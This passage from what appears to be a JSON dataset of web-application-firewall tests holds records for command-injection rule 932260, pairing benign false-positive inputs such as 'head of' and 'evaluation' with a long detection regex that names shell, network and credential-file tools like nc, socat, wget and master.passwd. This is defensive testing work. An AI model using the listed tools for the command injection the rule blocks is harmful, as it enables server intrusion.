"name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\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[\\s\\x0b&\\),<>\\|]|$).*|o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "'ping' direct command injection FP test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "job_title=head%20of" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(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\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP for 'head of'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "word=evaluation" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*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]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "False positive test: 'evaluation' (FP while rule looks for 'eval')" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "word=schedule" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$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?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?: